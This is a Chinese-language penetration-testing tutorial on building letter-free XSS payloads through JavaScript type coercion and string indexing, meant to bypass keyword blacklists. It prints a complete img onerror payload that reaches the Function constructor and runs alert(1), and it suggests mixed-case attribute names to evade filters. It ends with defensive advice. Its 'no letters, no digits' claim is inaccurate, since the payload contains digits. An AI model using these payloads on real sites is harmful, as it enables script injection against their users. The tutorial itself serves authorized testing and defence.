
本文深入解析如何在目标网站对常见关键字(如 alert、javascript:、小写字母等)进行严格过滤时,利用 JavaScript 类型转换与字符串索引技巧,纯手工构造无字母、无数字的 XSS 有效载荷,适用于渗透测试中的深度绕过场景。
本文深入解析如何在目标网站对常见关键字(如 `alert`、`javascript:`、小写字母等)进行严格过滤时,利用 javascript 类型转换与字符串索引技巧,纯手工构造无字母、无数字的 xss 有效载荷,适用于渗透测试中的深度绕过场景。
在 Web 安全渗透测试中,常会遇到仅简单过滤 <script>、onerror、alert、eval 等显式关键词的“伪防护”站点。这类过滤极易被绕过——关键不在于寻找更隐蔽的函数名,而在于<strong>完全摆脱对原始字母字符串的依赖。其核心思想是:利用 JavaScript 强制类型转换(ToString)生成固定字符串,再通过方括号索引动态提取单个字符,最终拼接出任意代码并执行。</script>
一、基础字符串来源:无需字面量的“字母工厂”
JavaScript 中以下表达式经 +''(隐式转字符串)后可稳定产出含字母的字符串,且不含任何字母字面量:
!0 + '' // → "true" (t r u e)
!1 + '' // → "false" (f a l s e)
{} + '' // → "[object Object]"(o b j e c t [ ] O ...)
1/0 + '' // → "Infinity" (I n f i n i t y)
0/0 + '' // → "NaN" (N a N)
[]._ + '' // → "undefined" (u n d e f i n e d)
✅ 注意:[]._ 利用了未定义属性访问返回 undefined 的特性;{} 在字符串化时始终为 "[object Object]"(注意首字母大写,但索引可取小写 o、b、j 等)。
二、字符提取:用索引代替硬编码
从上述字符串中按位置提取所需字符(索引从 0 开始):
| 字符 | 表达式 | 来源说明 |
|---|---|---|
| a | (!1+'')[1] | "false"[1] → 'a' |
| l | (!1+'')[2] | "false"[2] → 'l' |
| e | (!1+'')[4] | "false"[4] → 'e' |
| r | (!0+'')[1] | "true"[1] → 'r' |
| t | ({}+'')[6] | "[object Object]"[6] → 't' |
| c | ({}+'')[5] | "[object Object]"[5] → 'c' |
| o | ({}+'')[1] | "[object Object]"[1] → 'o' |
| n | (1/0+'')[1] | "Infinity"[1] → 'n' |
| s | (!1+'')[3] | "false"[3] → 's' |
| u | (!0+'')[2] | "true"[2] → 'u' |
| i | (1/0+'')[3] | "Infinity"[3] → 'i' |
组合即可还原单词,例如 "constructor" 可表示为:
({}+'')[5]+({}+'')[1]+(1/0+'')[1]+(!1+'')[3]+({}+'')[6]+(!0+'')[1]+(!0+'')[2]+({}+'')[5]+({}+'')[6]+({}+'')[1]+(!0+'')[1]
→ "constructor"
三、动态执行:绕过 eval/alert 过滤的终极调用链
一旦获得字符串 "constructor",即可利用原型链获取 Function 构造器(Function === Function.constructor),进而动态执行任意代码:
// 原始意图(会被过滤):
alert(1)
// 绕过写法(纯字符拼接):
({})['constructor']['constructor']('alert(1)')()
// 拆解说明:
// {}['constructor'] → Object.prototype.constructor → Function
// ['constructor'] → Function.prototype.constructor → Function (即 Function 构造器本身)
// ('alert(1)')() → new Function('alert(1)')()
将整个调用链全部替换为无字母表达式,即得到完整 payload:
<img src="/" onerror="({}[({}+'')[5]+({}+'')[1]+(1/0+'')[1]+(!1+'')[3]+({}+'')[6]+(!0+'')[1]+(!0+'')[2]+({}+'')[5]+({}+'')[6]+({}+'')[1]+(!0+'')[1]][({}+'')[5]+({}+'')[1]+(1/0+'')[1]+(!1+'')[3]+({}+'')[6]+(!0+'')[1]+(!0+'')[2]+({}+'')[5]+({}+'')[6]+({}+'')[1]+(!0+'')[1]]((!1+'')[1]+(!1+'')[2]+(!1+'')[4]+(!0+'')[1]+({}+'')[6]+'(1)'))()">
⚠️ 关键注意事项:
- HTML 属性名(如 ONERROR)不区分大小写,可使用 ONERROR、onerror 或 OnErRoR 绕过简单正则匹配;
- 此类 payload 高度依赖 JavaScript 解析顺序,需确保执行环境支持(现代浏览器均兼容);
- 实际测试中建议先在控制台验证各子表达式输出,再逐步组装;
- 切勿在未经许可的生产系统中尝试——本文仅面向授权渗透测试与安全研究。
四、防御启示:为什么这种过滤形同虚设?
该案例揭示了一个根本性安全误区:基于黑名单的输入过滤无法应对 JavaScript 的动态性与灵活性。只要允许用户控制任意 HTML 属性值(尤其是事件处理器),且服务端未做上下文感知的输出编码(如对 HTML 属性上下文使用 htmlspecialchars(..., ENT_QUOTES)),攻击者总能通过类型转换、原型链、数组操作等原生机制重建任意逻辑。
✅ 有效防御方案应包括:
- 服务端对所有用户输入执行上下文敏感的输出编码(OWASP Cheat Sheet 推荐);
- 前端采用 CSP(Content-Security-Policy)限制内联脚本与 unsafe-eval;
- 使用 DOMPurify 等库对富文本进行安全清理;
- 彻底避免将用户输入直接拼接到 HTML、JS 或 CSS 上下文中。
掌握此类技术的目的,不是突破边界,而是更深刻地理解防线的脆弱点——唯有知其所以然,方能构建真正纵深的防御体系。










